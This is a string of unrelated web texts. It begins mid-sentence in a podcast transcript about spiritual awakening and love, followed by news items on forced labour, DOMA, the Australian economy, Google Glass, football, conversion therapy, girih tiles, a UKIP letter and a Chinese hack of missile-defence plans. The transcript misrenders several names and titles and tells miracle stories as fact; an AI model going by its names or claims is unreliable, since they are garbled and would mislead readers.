a state of never ending obituations that they never really wake up to their true identities. Well if that’s the case then you certainly do have a lot of power over people if you’re even slightly awake. I mean just literally waking up in a room full of sleeping people. The kind of power you have over them is so extreme. Euvie: All the d**** you can draw on their faces. Duncan: Yeah, exactly or even worse. God forbid Bill Cosby should wake up in a room full of sleeping people. [laughter] Duncan: A dream for him, a true dream. But God forbid that should happen. So, in a same way If you begin the wake up to some of these things and you’re weak and you don’t have great intentions you just want to be surrounded by, and you see this all the time like anytime you see someone who’s got an entourage. You’re witnessing a magician. They might not know but that’s what they are and you’re witnessing a magician that surrounds themselves with human energy and it’s kind of like vortex floating around them in the form of all their weird sycophantic friends. So it’s like when you ever you want to know if a person’s got a swarm of people around them, that’s a magician in the magician is used that magicians power to enslave or to magnetize certain people around them. Which is why when you run into celebrity, big celebrities inevitably have entourages, any entourage. It’s so funny because the members of the entourage have personality characteristics identical to the sorcerer that they’ve been enslaved by because the sorcerers power is so intense that it actually is causing the identity of the people they brought into their gravity to transform into their own identity. It’s so cool to see Nosferatu. This is a really obscure, obscure thing. Not a Nosferatu, a Renfield. Renfield the Vampire Slave. I can remember being in a comedy store. There’s comedy club and there is comedian who’s kind of obscure but kind of famous in the world, he worked for Richard Briers. His name’s Paul Mooney and he is really funny but kind of one of these terrifying human who have no filter. So getting around a person like that if you’re leaking some b******* he’ll just tell you. Maybe something you’ve been trying to deny and he’ll just say it and it to your face forcing you to deal with it ultimately good, but in the moment painful. So there is a guy who is like basically is servant of the family that runs the comedy store, you know any powerful family what are people who are awake by holding them who were kind of draining their power, maybe getting some bad energy back but this famous f****** guy is famous for his role with this like kind of comedy dynasty that was in the parking lot. Paul Mooney just looked over and look at you, you’re a Renfield. You know that don’t you, you’re a vampire slave? Haha it was wild. He looks at the guys face like Oh no because it was true. That happens so waking up is a lot of responsibility goes into that because if you’re going to wake up and in use that get a bunch of sleepwalking people to start following you around then you’re f***** up. The people surrounding you should all be a SATs on the people who are trying to wake themselves up in each other. It shouldn’t be you and then a bunch of zombies that you’ve tricked into thinking you’re famous or whatever which is the arbitrary, absolutely ridiculous concept. Be careful. Be careful, if you’re going to f*****g do it so that we can all wake up and we can begin the ripples that are going to hopefully create a global civilization. Euvie: Yeah we were just talking about this. We were making a mind map of kind of our goals and then breaking it down into kind of human level goals and things in our lives that we should be doing. Not not to get into too much detail because I don’t think we should reveal those kinds of private goals, but one of the things that we wanted to help people wake up. Going back to the beginning of this conversation and there’s just you know the information is out there people just aren’t looking at it so even on that basic human level just getting people to be more aware and look at reality without this kind of blurry filter that they normally have. Duncan: Yes, and to show them the highest technology because the highest technologies is not computers, the highest technology is love. That is the highest tech that is always cutting edge it will never stop being cutting edge it is the most cutting edge technology on planet Earth and to cultivate that and to get around people and love them. Not try to change them but to love them were they’re at good luck. But if you could do that, there’s people who have done that with me. There’s people who have cultivated that energy That’s where the transformation happens, that’s where the waking up happens. Does the waking up happen by showing people a look at this f****** Isis video. No that’s not going to wake people up to make people want to go back to sleep if they were awake. It made me like f*** this man, I’m just dont want to look at anything again that has something to do with the news. But if you come to someone that you don’t know and you’ve cultivated your ability or abilities. So Nim Crawley Baba, Ron Doss’s guru is telepathic. There is countless stories of him reading people’s minds. It’s called seeing into what they are and telling them things that they’ve never told anyone. So, he had cultivated over the many years prior to him becoming this awaken being. He was a sadhu a wandering aesthetic, but he also had a family. Very few people know who he was. His name, Nim Crawley Baba. Nim Crawley was a train station.They used to call him the train baba because he was on a train, I get these stories, I blur them up but he was like sitting on a train and he didn’t have a ticket. And they made him get off the train. He got off the train and the train wouldn’t go. And then they invited him back on the train and it went. So, no one really knows his story necessarily but you can be certain, and this is what’s really interesting about him and all the other you know „teachers“ is they are in Crawley and Lebur four talks about this an introduction definitely get me before you guys have a copy of Lebur four? Mike: No. Duncan: Ok. Get a copy of that. L-I-B-E-R four(4). In the introduction of that Crawley talks about the the way that did people disappear for awhile. Muhammad goes into the cave. Jesus I do not know the first 30 years is life. Buddha goes into the forest. All the stories share that same component of going somewhere kind of vanishing from the world for a little while so you can speculate on what they were doing during that time period. Probably they were doing what you guys are doing right now, they were begining to expand their consciousness, Any beginning to you figure out had a like do some of the tricks that we have heard great sources are capable doing. So Nim Crawley Baba definitely achieved some state of being able to look into a person fully and see all the stuff in there. The next thing he did, now if you could just do that and there’s many people who can do that if you could just do that you would be a great salesperson you would be able to sell a lot of f****** mattresses, cars nuclear weapons, you will be able to really make a lot of money in the world by reading people completely seeing them see what they are you could really f*** with people if that was the only thing that you could do but what he added to it and what the awakened beings seem to do along with this ability is they look into that part of the person that the person doesn’t want to show anyone and they love it they don’t love it ambigously, they love it completely, they love it with everything inside of them personally. Not like i just love everything but like I see into you, I see that thing that you did that hurt that person so much and you know you hurt them and you feel so horrible about that but I love you still. I love the person you were when you did that. I were the person you were before you did that and I love you now completely and it’s not phoney, it’s real. If you could do those two things if you could master those two powers that every single human that you got around will at least temporarily wake up, they would wake up and they would feel what is real. The only thing that’s real which is love. Those are the two if I could choose he magical powers does will be there to that I would want to be able that and the third would be invisibility. [laughter] Euvie: The thing about love that you’re talking about that, that is the method of enlightenment through the Indian tradition the guru loves the student completely with all of their flaws and all they’re horrible thoughts and things that they’ve done and through that loves the student is able to awaken. That is exactly the technology. Duncan: That’s it. Euvie: Yeah. Mike: You know when you walk down the street you just think straight s*** about people like oh look that guy looks stupid or whatever. Duncan: Oh my god, I’m so bad about that s*** . Do you guys play World of Warcraft? Mike: No, I played Minecraft. Duncan: Ok, well that’s cool. But World of Warcraft is a pretty awesome game and there is like online role playing game and people are divided up between the Alliance and the Horde. It’s ridiculous but I met someone who is like an alliance player and this is how bad it is for me. I heard that and I’m like in the back of my head for a second – what a d**k. Why would you do that, why would you play like that? [laughter] Duncan: This is terrible. This is the uncultivated – this is what happens if you let your mind run around without teaching or training it all you will definitely thinks things like that. You’ll walk down the street in the mind of judgement will do that but then the other thing they say is well yeah that reason your other reason you’re doing that is you don’t love yourself, really. First you start with yourself, right. Turn the view upon yourself. See if you can love yourself. See if you can love yourself not like that way of like you read an inspirational literature or whatever. Sit in front of the mirror and say I love you, you’re wonderful you’re worthy, you deserve love, you deserve peace. No, really love yourself. Can you do it? Why not? Once you start trying to love yourself and you realise you can’t do it then that creates a series of inquiries. The first thing being why can’t I love myself? Then whatever the answer to that question is, that will lead you into the direction where you need to go. Then Theoretically after you achieved some state of really loving yourself through the practice. All theory from me friends. Theoretically you would kind of instinctually do that around people who you ran into on the street. I guess I will not say it’s theoretical only because I’ve been around. I’ve interviewed some people who have had a lifetime practice and that’s what they do. I’ve seen it first hand, I just can’t do it. Euvie: Yeah. I think you have to accept yourself first before you can love yourself and that requires looking into your deepest darkest s*** in your mind and digging it up and looking it square in the face and accepting it. That yes, this is part of the human experience. This are the things that i’ve thought and these are the things that I’ve done and I accept them. I haven’t done that many horrible things to have to face that kind of stuff but In the last month I’ve discovered just all the stuff that was stuck in my unconscious that I wasn’t dealing with end until I was able to look at it in deal with it I wasn’t able to love myself. Duncan: It’s crazy right? That stuff that you just forget about. I was floating in a, I had a float tank in my house once and I would go into it all the time. I was floating in it and all of a sudden I would start having these vivid memories of things I completely forgot and I can remember like feeling that you’re being shown it’s not like you’re like summoning it is showing you this . When I was like 11, 13 -young kid I had this vivid recollection of me being a bully to someone. Completely forgot about it, but there it was like it never went anywhere, like it happened yesterday. God isn’t that scary. Every moment of bluntness, every moment of mild rudeness, this is is actually something someone told me who works at a hospice who has died. Had the experience of going someplace were being told no you’re not going to die yet, go back and work, you’re not off work yet. That’s the funny thing about death experiences when people talk about it a lot of them like I don’t want to come back, they make you come back here. Like in a way when you were a kind and you didn’t get a hall pass to go and use the bathroom. No, no, no, no, no. You go back into the classroom. You didn’t learn yet. So, in that same what he said that with the experience of dying when I talk about the life of you is not that you see it like you’re watching a movie but you view you experienced it again with the addition of that you feel what you made all the people around you feel. Euvie: Yes. Duncan: God that sucks man. I’ve been doing comedy for like seventeen years Indefinitely the first 10 years had a sack so I’m going to go through like at least 10 years of like feeling like a poor dog. [laughter] Mike: The more people you get in front of don’t become a celebrity early, you’re f****d. [laughter] Duncan: But you know what? Maybe at the time of death of achieve this thing that you’re talking about self acceptance and some subsequent self love then when I love that runs through you you can love it just like you were loving yourself when you were in the human incarnation. That’s maybe why the practice is so important so that when that life review comes, did you know what, maybe the person who does the life review, the judger. You know there’s talk about them at the gates of Heaven, the entity that determines where you go maybe that’s the crazy thing is that it’s just yourself who decides by gazing upon what you did, you know what you didn’t pass. You’re the professor and the student. You didn’t pass the class this time. Let’s do it again, let’s keep doing it till we pass but keep doing. I don’t know. Let’s hope that it is and not some oblivion even though oblivion can be be cool too. S**t guys I’ve got to move. It’s eleven thirty, i’ve got to get back to work. I’ve got so much to do today. Mike: No worries man that was a lot of fun. Duncan: You guys are awesome, it was so fun talking to you. I don’t want it to end. Euvie: Well let’s do it again! Duncan: Let’s do it again. For sure let’s do it again you guys are awesome. [laughter] Euvie: So much fun. Ok bye! Mike: Bye! -Farmers load tomatoes onto a truck during harvest at the Grzegorz Tokarski farm in Gorne, eastern Poland, in 2014. A new report says North Korean women are being used as forced labor in Polish tomato fields. File Photo by Wojciech Pacewicz/European Pressphoto Agency SEOUL, Dec. 27 (UPI) -- North Korean women workers are being deployed as forced laborers at a tomato farm in Poland, according to a South Korean television network. The workers reportedly work 70 hours a week but are only allowed to take home $75 in monthly pay, KBS reported Tuesday. The women were being held in confinement at a farm in Sarnow, about 170 miles southwest of Warsaw, the Polish capital. A KBS reporter who investigated the site attempted to gain access to the farm surrounded by high fences but was turned away by a Polish guard. RELATED South Korea presidential candidate says he would meet with Kim Jong Un The guard told the reporter that he is "just an employee" and that he "knows nothing" about North Korean workers. "I cannot answer your question," the guard says in the KBS video footage. But in the evening the reporter returned to the site, where a Ukrainian worker said more than 100 North Korean women are working on the farm. The worker said there are separate dormitory facilities for the women. The women also were found shopping for groceries at a local supermarket the next day. The North Koreans KBS interviewed at the market appeared to be in their early 20s, and avoided answering questions from the South Korean journalist. The women are allowed to leave their compound for two hours a week to buy necessities, according to the report. One woman denied they were forced laborers and said she and the others are allowed to work as much as they want to, "sometimes 8 hours, other times 5 hours" a day. "We are here because we want to earn money," the woman said. In June, Poland stated North Korean workers were no longer being permitted to enter the country. North Korea's deployment of forced laborers, about 50,000 in total, according to one South Korean estimate, earns the Kim Jong Un regime up to $300 million a year. -The House Republican leadership has billed American taxpayers $3 million to defend the anti-gay Defense of Marriage Act (DOMA) in federal courts and the U.S. Supreme Court, but GOP leaders did a deep dive on Wednesday as the high court heard the legal challenge to DOMA. The growing approval of same-sex marriage, and declining popularity of anti-gay laws, seems to have gotten under House Speaker John Boehner’s orange skin. Boehner was tweeting Wednesday on familiar topics — “Time to Build the Keystone Pipeline,” “Bad News for Obamacare” — but said not a tweet about a federal law that discriminates against same-sex couples and denies them federal benefits. House Majority Leader Eric Cantor was carrying on about an Indiana Supreme Court decision that cleared the way for school vouchers. By contrast, freshman Rep. Suzan DelBene, D-Wash., whose district includes conservative rural areas, was trumpeting the fact that she was one of 200 Democratic House and Senate members who signed legal briefs advocating that DOMA be overturned. Sen. Patty Murray, D-Wash., who voted for DOMA in 1996, tweeted that she hopes the Supreme Court will overturn the law. She is a cosponsor of legislation that would throw out the anti-gay law. With public opinion rapidly changing, House Republicans have tried to disguise the big legal bill, used to hire ex-Solicitor General Paul Clement. The House leadership assumed defense of DOMA when the Obama administration decided the law was no longer defensible. Rep. Jim McDermott, D-Wash., scoured House rules in January, seeking to find the legal bill for DOMA’s defense. He finally discovered it on page 17, disguised as a $3 million spending authorization for something called the “Bipartisan Legal Advisory Group.” Nina Totenberg, the veteran court correspondent for National Public Radio, reported on Wednesday morning: “Those defending DOMA have been strangely unwilling to make their arguments outside of the court. House Speaker John Boehner declined to be interviewed for the article, as did Clement and leading House members who voted for the law.” -SPRINGFIELD — The Springfield Business Improvement District (BID) and the Springfield Central Cultural District are set to unveil the first annual Downtown Springfield Holiday Market. On Wednesday, Dec. 2 from 5 to 8 p.m., they will hold an official ribbon-cutting event with the Springfield Regional Chamber at the Springfield Gift Store, located at 1341 Main St. Refreshments will be served. The retail sector employs more than 550,000 individuals in Massachusetts alone. With a succesful holiday market in the heart of downtown, the BID hopes to not only contribute to the revitalization efforts of downtown Springfield, but also encourage economic growth within the region by establishing downtown as a holiday shopping destination. The month-long shopping event includes dozens of local retailers selling a wide variety of gifts, including a Springfield Gift Store selling items like downtown Springfield restaurant gift certificates, Springfield Falcons merchandise, toys from Springfield Museums, CityStage and Symphony Hall tickets, and much more. In addition, an Artisan’s Gallery offers dozens of handmade gifts, while full-time retailers such as Forget Me Not Florist, Simply Grace, Lux Boutique, Dilaura Naturals, and Walking in a Winter Wonderland are participating as well. Santa Claus will visit the Springfield Gift Store every Saturday from 1 to 3 p.m. Visit the Springfield BID’s website, springfielddowntown.com, for other events happening in the Holiday Market. -High-powered entertainment attorney Steve Warren demanded that Justice Clarence Thomas and the rest of the Supreme Court justices act against the Defense of Marriage Act and Prop. 8 during a stirring speech at the GLAAD Media Awards in San Francisco last night. “Our basic civil rights are currently being experimented with in 50 different state laboratories,” said Warren, a board member of the watchdog org and recent recipient of its Stephen F. Kolzak Award. “Many of which have little or no hope of ridding themselves of the prejudice and hate that still exists in so much of our country. It pains me to think of what could have been for our relationships, including my own of 26 years, if our nation had embraced all of us, and given us the love, respect and support given to heterosexual couples, of all races. We need, we deserve and we are rightfully entitled as American citizens to be included under the shield of the equal protection clause of the 14th amendment.” Warren took specific aim at Justice Thomas, drawing a parallel between his interracial marriage and the struggle for the same recognition for same-sex couples. “Because the Clarence and Virginia Thomas’s of the world are accorded the protections of the U.S. Constitution and we are not,” Warren stated. “Our basic civil rights are currently being experimented with in 50 different state laboratories. Many of which have little or no hope of ridding themselves of the prejudice and hate that still exists in so much of our country. It pains me to think of what could have been for our relationships, including my own of 26 years, if our nation had embraced all of us, and given us the love, respect and support given to heterosexual couples, of all races. We need, we deserve, and we are rightfully entitled as American citizens to be included under the shield of the equal protection clause of the 14th amendment.” -This article is over 3 years old The outlook for the Australian economy remains gloomy, the RBA says in its quarterly update, and a further cut in interest rates is still on the table The Reserve Bank of Australia has refused to rule out further interest rate cuts amid concerns about slowing Chinese growth and weak business investment in Australia. In its quarterly statement on monetary policy released on Friday, the RBA left the door open to another rate cut after slashing the cash rate to a fresh low of 2% on Tuesday. “The board will continue to assess the outlook and adjust policy as needed to foster sustainable growth in demand and inflation outcomes consistent with the inflation target over time,” the RBA said. The RBA also revealed a gloomier economic outlook than was forecast in its last statement on monetary policy in February, revealing particular concerns about Chinese growth and local business investment. The central bank said economic growth was expected to be in the range of 2.5-3.5% in the year to June 2016, which was a quarter of a percentage point weaker than previously predicted. “GDP growth is forecast to remain below trend for a bit longer than had been anticipated in the February statement,” the RBA said. It said Australia’s major trading partners, especially China, were growing slower than predicted in February. “In China, economic growth in 2015 is projected to be a little weaker than previously forecast, reflecting slower-than-expected growth across a rage of activity indicators in the March quarter,” the RBA said. Domestically, the central bank said business investment and public spending remained sluggish, and that mining investment would “continue subtracting substantially from growth over the next couple of years”. This was in line with what governor Glenn Stevens said in his statement accompanying Tuesday’s rate decision in which he referred to weakness in business investment, and said public sector spending was “scheduled to be subdued”. He also pointed to the strong Australian dollar, saying further depreciation was “both likely and necessary”, particularly given declines in key commodity prices. Most analysts believe another interest rate cut is unlikely in the months ahead because of signs of recovery in the economy, and the risk of overheating the property market in Sydney. On the plus side, Friday’s RBA statement said the outlook for Australian dwelling investment was up, driven by lower interest rates and strong population growth. It also said the jobs market looked stronger than previously forecast. “The latest data from the labour force survey suggest that recent trends in the labour market have been a bit better than earlier indicated,” the RBA said. It said underlying inflation was predicted to remain “well contained” over coming months. -For all the talk we make about wanting Google to open the floodgates on Glass, lowering the price and making it widely available to users interested in embracing this brave new world of wearable technology, it’s easy to forget that Glass still isn’t a finished product. Last fall, for example, we learned of some minor changes Google was making to Glass’s hardware, tweaking how Glass would work with prescription lenses and other small adjustments. Today, on the eve of Google I/O 2014, Google’s got another Glass refresh to announce, with some improved hardware specs. So far, the Glass Explorer Edition has shipped with 1GB of RAM: a seemingly sufficient amount, especially considering the low-res display and the sort of applications Glass runs. But Google is interested in boosting performance and doing a little future-proofing, so it’s giving Glass a solid 2GB of RAM from here on out. Glass is also shipping with a larger battery, but that change is already in effect, and orders placed in the past couple months should already have the larger cell. In addition to that hardware change, there’s also some new Glass software Google’s in the process of deploying, adding features like a voice-activated viewfinder to assist with framing pics, and new Google Now cards – including one that reminds you where you parked your car, just like we saw Android phones get earlier this year. Battery life is also a focus of these software tweaks, with this updated code helping to extend Glass battery life by up to 15% – though savings that high will also require the latest hardware with that bigger battery. The only bad news is for you early adopters: there’s not going to be any free upgrade to this new hardware. Source: Google, The Verge -During the month of July, the Last Word On Sports NFL department will determine which three players deserve to be considered the faces of each franchise. For this series, we will only consider active players. In this edition, the Tampa Bay Buccaneers are the focus. Faces of the Tampa Bay Buccaneers Gerald McCoy Head coach Lovie Smith said Gerald McCoy is “the best at his position” and “the best player on our team.” Since being drafted as the third overall pick in 2010, McCoy has established himself as arguably the best defensive tackle in the NFL. After accumulating 154 tackles, 27 sacks, 13 passes defended, four forced fumbles and three Pro Bowls in five seasons, he has proven to be one of the most productive defenders in football. His attributes such as his speed, explosiveness, and burst at the snap have caused difficulties for offensive linemen attempting to contain him. With his teammates raving about his skillset, McCoy continues to impress both the Buccaneers organization and the entire league. Along with improving his game everyday, McCoy is striving to be the leader of this team. Earlier last season, he said that he appreciated the praises of his teammates, but he doesn’t plan to slow down with his production. Considering he plays for a franchise loaded with all-time great defensive linemen such as Simeon Rice and Hall of Famers Lee Roy Selmon and Warren Sapp, McCoy wants to continue to set the standard at his position. Lavonte David Another stalwart on the Buccaneer defense is weakside linebacker Lavonte David. At age 25, David already has 430 tackles, 19 passes defensed, 10 sacks, six interceptions and six forced fumbles in three NFL seasons. Voted an All-Pro in 2013, he is gradually becoming one of the premier defenders in the game. Although he hasn’t received the level of recognition as Panthers linebacker Luke Kuechly–who plays in the same division–coaches and peers have recognized his superb play. As David’s teammate in 2013, All-Pro cornerback Darrelle Revis said that “if David was not a Pro Bowler, then something is wrong. The voting must be rigged.” Head coach Love Smith even compared David to Hall of Fame linebacker Derrick Brooks, another Tampa Bay legend. If both Lavonte David and Gerald McCoy can continue to dominate and lead their teammates, the league may see a new form of the 2002 Super Bowl Bucs defense. Jameis Winston Although he’s only a rookie, Jameis Winston may be the main driving force for Tampa’s success this season. Concluding a brief, yet illustrious career at Florida State University that featured a Heisman Trophy honor and a national championship, Winston will now be asked to lead an offense that has struggled mightily in the past two seasons after breaking franchise marks in 2012. Losing only one game as a collegiate starter in two years, Winston has proved he can make plays and lead his team on the field; his off-the-field antics, however, have caused analysts to question his character. Persuading the football world that he’s a changed man earlier this year, Winston will get his opportunity to display his abilities once September rolls around. Main Photo: -This week, the United Nations Committee Against Torture (CAT) took the historic step of expressing concern about “conversion therapy,” also known as “ex-gay” or “reparative” therapy. But while much of the Western world is taking steps to eradicate the barbaric practice, U.S. conservatives are doing everything they can to spread the anti-LGBTQ practice in Africa. PRA’s senior researcher for religion and sexuality, Rev. Dr. Kapya Kaoma, wrote an article last month documenting how these U.S. culture war-exporters are increasingly turning to “ex-gay therapy” in African countries as a strategy to advance their propaganda that being gay is a choice—a critical component for them in their message to falsely portray Western LGBTQ people as predators invading local communities to recruit children. Sadly, the so-called “ex-gay movement” has found a home in global evangelicalism. In October, 2010, in Cape Town, South Africa, 4,000 global evangelical leaders from 198 countries convened for the Third Lausanne Congress on World Evangelization—the biggest gathering of global evangelical leaders in modern history. Among the attendees were members of Exodus Global Alliance (EGA), a network of “ex-gay” groups. The Alliance was tasked with leading a discussion on “Sexuality, Truth, and Grace.” In its presentations, EGA argued that “compassionate” conversion therapy and prayers for LGBTQ people were the best approaches to homosexuality. Human rights groups lauded CAT’s advancement of the discussion. The National Center for Lesbian Rights’ (NCLR) #BornPerfect campaign sent survivors of the dangerous conversion practices to testify before the committee. “Today, for the first time, a United Nations committee recognized that conversion therapy is an issue of international human rights,” said Samantha Ames, NCLR’s #BornPerfect Campaign Coordinator. “We are incredibly grateful to the Committee Against Torture for raising up the voices of conversion therapy survivors, and ensuring their suffering is finally being vindicated.” Dr. Mike Davidson, director of a UK-based conversion therapy group called Core Issues Trust, responded to the U.N. advancement saying “This is a stark reminder of the determination of a certain lobby, driven by a radical ideological agenda, to close down options for those facing unwanted same-sex attraction.” Despite no cases of ex-gay therapy ever having successfully been proven to alter sexual orientation, andDavidson added “Science and experience demonstrate that help with unwanted same-sex attraction can be effective and is far from harmful.” But while major success against the practice of attempting to alter and change a person’s innate sexual orientation have been piling up over the past few years—the prominent ex-gay therapy group Exodus International shut down in 2013 after apologizing for promoting the debunked practice, and several U.S. states have now banned the “therapy” from being performed on minors—those successes have not translated to non-Western nations. Kaoma continues: The plea to “help gays escape” homosexuality is perhaps the most commonly repeated mantra across the African continent. From vicious anti-LGBTQ figures such as Martin Ssempa of Uganda, to ostensibly more respectable evangelical leaders such as Rev. Pukuta Mwanza (Executive Director of the Evangelical Fellowship of Zambia), religious leaders endorse prayers and counseling as an answer to homosexuality. Despite the Archbishop of Canterbury Justin Welby (leader of the worldwide Anglican Communion) telling Zambians that homosexuality is a global and human rights issue, Rev. Mwanza (who spoke afterwards) asked LGBTQ persons to seek “spiritual help and prayers” from the Church. In his judgment, the church is the hospital for African gays—if they accept to be “cured.” This characterization of LGBTQ people as “sick” and in need of healing is also used to jail those who are perceived to be “against the cure.” Anti-LGBTQ leaders argue that allowing sexual minorities to live among the public will not only pollute the social life of communities, but also pose a risk to public health and must be forced into therapy, locked up, and/or forced to live in exile. “The choice is theirs!” Worse still, based on the conviction of the validity of reparative therapy bolstered by U.S. conservative evangelical talking points, some advocate policies that outlaw homosexuality and even allow forced therapy. To learn more about how U.S. conservative Evangelicals are exporting the culture wars to Uganda, Nigeria, and other African nations—and what you can do to stop it—read American Culture Warriors in Africa: A Guide to the Exporters of Homophobia and Sexism. -Girih tiles Patterned Girih tiles Construction lines are usually hidden: geometric tiles on left, girih pattern on right. Girih tiles are a set of five tiles that were used in the creation of Islamic geometric patterns using strapwork (girih) for decoration of buildings in Islamic architecture. They have been used since about the year 1200 and their arrangements found significant improvement starting with the Darb-i Imam shrine in Isfahan in Iran built in 1453. Five tiles [ edit ] The five shapes of the tiles are: a regular decagon with ten interior angles of 144°; an elongated (irregular convex) hexagon with interior angles of 72°, 144°, 144°, 72°, 144°, 144°; a bow tie (non-convex hexagon) with interior angles of 72°, 72°, 216°, 72°, 72°, 216°; a rhombus with interior angles of 72°, 108°, 72°, 108°; and a regular pentagon with five interior angles of 108°. These modules have their own specific Persian names: The quadrilateral tile is called Torange, the pentagonal tile is called Pange, the concave octagonal tile is called Shesh Band , the bow tie tile is called Sormeh Dan, decagram tile is called Tabl. [1]All sides of these figures have the same length; and all their angles are multiples of 36° (π/5 radians). All of them, except the pentagon, have bilateral (reflection) symmetry through two perpendicular lines. Some have additional symmetries. Specifically, the decagon has tenfold rotational symmetry (rotation by 36°); and the pentagon has fivefold rotational symmetry (rotation by 72°). The Emergence of Girih Tiles [ edit ] By the late 11th century, the Islamic artists in North Africa start to use “tile mosaic”, which is the predecessor of tessellation.[2] By 13th century, the Islamic discovered a new way to construct the “tile mosaic” due to the development of arithmetic calculation and geometry—the girih tiles.[3] Girih [ edit ] Girih are lines (strapwork) that decorate the tiles. The tiles are used to form girih patterns, from the Persian word گره, meaning "knot".[4] In most cases, only the girih (and other minor decorations like flowers) are visible rather than the boundaries of the tiles themselves. The girih are piece-wise straight lines that cross the boundaries of the tiles at the center of an edge at 54° (3π/10) to the edge. Two intersecting girih cross each edge of a tile. Most tiles have a unique pattern of girih inside the tile that are continuous and follow the symmetry of the tile. However, the decagon has two possible girih patterns one of which has only fivefold rather than tenfold rotational symmetry. Mathematics of girih tilings [ edit ] In 2007, the physicists Peter J. Lu and Paul J. Steinhardt suggested that girih tilings possessed properties consistent with self-similar fractal quasicrystalline tilings such as Penrose tilings, predating them by five centuries.[5][6] This finding was supported both by analysis of patterns on surviving structures, and by examination of 15th-century Persian scrolls. However, we have no indication of how much more the architects may have known about the mathematics involved. It is generally believed that such designs were constructed by drafting zigzag outlines with only a straightedge and a compass. Templates found on scrolls such as the 97-foot- (29.5 metres) long Topkapi Scroll may have been consulted. Found in the Topkapi Palace in Istanbul, the administrative center of the Ottoman Empire and believed to date from the late 15th century, the scroll shows a succession of two- and three- dimensional geometric patterns. There is no text, but there is a grid pattern and color-coding used to highlight symmetries and distinguish three-dimensional projections. Drawings such as shown on this scroll would have served as pattern-books for the artisans who fabricated the tiles, and the shapes of the girih tiles dictated how they could be combined into large patterns. In this way, craftsmen could make highly complex designs without resorting to mathematics and without necessarily understanding their underlying principles.[7] This use of repeating patterns created from a limited number of geometric shapes available to craftsmen of the day is similar to the practice of contemporary European Gothic artisans. Designers of both styles were concerned with using their inventories of geometrical shapes to create the maximum diversity of forms. This demanded a skill and practice very different from mathematics.[7] Geometric construction of an interlocking decagram-polygon mosaic design [ edit ] Firstly, divide the right angle A into five parts with same degree by creating four rays that start from A. Find an arbitrary point C on the second ray and drop perpendiculars from C to the sides of angle A counter-clockwise. This step creates the rectangle ABCD along with four segments that each has an endpoint at A and other endpoints are the intersections of the four rays with the two sides of BC and DC of rectangle ABCD. Then, find the midpoint of the fourth segment created from the fourth ray point E. Construct an arc with center A and radius AE to intersect AB at point F and the second ray at point G. The second segment is now a part of the rectangle's diagonal. Make a line, parallel to AD and passing through point G, that intersects the first ray at point H and the third ray at point I. The line HF passes through point E and intersects the third ray at L and line AD at J. Construct a line, passing through J which is parallel to the third ray. Also construct line EI and find M which is the intersection of this line with AD. From the point F make a parallel line to the third ray to meet the first ray at K. Construct segments GK, GL, and EM. Find the point N such that GI = IN by constructing a circle with center I and radius IG. Construct the line DN which is parallel to GK, to intersect the line emanate from J, to find P to complete the regular pentagon EINPJ. Line DN meets the perpendicular bisector of AB at Q. From Q construct a line parallel to FK to intersect ray MI at R. As shown in the figure, using O which is the center of the rectangle ABCD, as a center of rotation for 180°, one can make the fundamental region for the tiling.[1] An interlocking decagram-polygon mosaic design An interlocking decagram-polygon mosaic design An interlocking decagram-polygon mosaic design An interlocking decagram-polygon mosaic design Geometric construction of a tessellation from Mirza Akbar architectural scrolls [ edit ] First, divide the right angle into five congruent angles, a arbitrary point P was selected on the first ray counterclockwise. For the radius of the circle inscribed in the decagram one half of the segment created from the third ray, segment AM, was selected. The following figure illustrates a step-by-step compass-straightedge visual solution to the problem by the author.[1]Note that the way to divide a right angle into five congruent angles is not a part of the instructions provided, because it is considered an elementary step for designers. Step-by-step compass-straightedge construction of the tessellation Examples [ edit ] Different patterns Complex girih patterns with 16-, 10- and 8-point stars at different scales in ceiling of the Tomb of Hafez in Shiraz, 1935 A window of the crown prince's apartment in the Topkapı Palace, Istanbul, Turkey, with 6-point stars; the surrounds have floral arabesque tiling Interior archway at the opening of the Sultan's Lodge in the Ottoman Green Mosque in Bursa, Turkey (1424), with 10-point stars and pentagons The girih has been widely applied on the architecture. To begin with, girih on the Persian geometric windows meet the need of the Persian architecture. “The specific types of embellishments utilized in orosi typically linked the windows to the patron's social and political eminence.”The more ornate a window is, the higher social and economic status the owner is more likely to have. A good example for this would be Azad Koliji. The Azad Koliji is a Dowlatabad Garden in Iran. With the girih patterns on its window, the architects successfully demonstrate multiple layers. The first layer would be the actual garden which people can have a glimpse at when they open the window. In addition to this natural layer, the first girih pattern on the outside of the window (the carved pattern. Another artificial layer would be the colorful glasses on the window. The multi-color layer create a sense of a mass of flowers. This layer is abstract which forms a clear contradiction with the real layer outside the window, and gives the audience enough space to imagine.[8] See also [ edit ] -Paul Nuttall MEP the UKIP Deputy Leader has written to Len McCluskey, General Secretary of Unite the Union, calling on him to treat his members with fairness and decency and open the union's political fund out beyond the confines of the Labour party. The letter: Mr Len McCluskey General Secretary Unite the Union Unite House 128 Theobald's Road Holborn London WC1X 8TN United Kingdom 25th July 2013 Dear Mr McCluskey I read with interest the recent poll of Unite's members by Lord Ashcroft, who found that 12% of your membership would individually choose to join the Labour Party (if contributions to the political fund were no longer attributed automatically). In the same survey we noticed that 12% also happens to be the percentage of Unite members who would vote UKIP. Given that there is such significant support for UKIP within the union we expect that (in the interests of transparency, equality and the democratic process in general) Unite will be adding UKIP to the list of political parties that your members are invited to donate to via the political fund. In the spirit of comradeship we write to confirm our consent for you to add UKIP to the list of mainstream parties to which Unite members can direct their political donations via the political fund. We look forward to such parity, and to the deepening friendship between UKIP and the labour movement that it will foster. In contrast to the Labour Party, UKIP is already "a party that offers real hope, that stands up for the poor and vulnerable, that puts growth at the heart of its agenda, that confronts privilege… [and will give the electorate] a real and vivid choice as to the future of our country, not one that leaves the electorate indifferent." Unfortunately, unless you knowingly become a full member of UKIP in your own right, we can't offer you any influence over our choice of candidates but at least you'll know that UKIP will actually protect the wages and livelihoods of the working class of the United Kingdom, rather than swamping the labour market with immigrants prepared to work for less than the minimum wage. Yours sincerely Paul Nuttall MEP UKIP Deputy Leader Comment Here! comments -AP China-based hackers stole plans for Israel's Iron Dome missile defense system in 2011 and 2012, according to an investigation by a Maryland-based cyber security firm first reported by independent journalist Brian Krebs. The hackers also stole plans related to other missile interceptors, including the Arrow 3, which was designed by Boeing and other U.S.-based companies. According to Krebs, "the attacks bore all of the hallmarks of the 'Comment Crew,' a prolific and state-sponsored hacking group associated with the Chinese People's Liberation Army (PLA) and credited with stealing terabytes of data from defense contractors and U.S. corporations." The hackers gained access to the systems of three Israeli companies working on missile defense. Maryland-based Cyber Engineering Services could prove that 700 documents were stolen in the breach 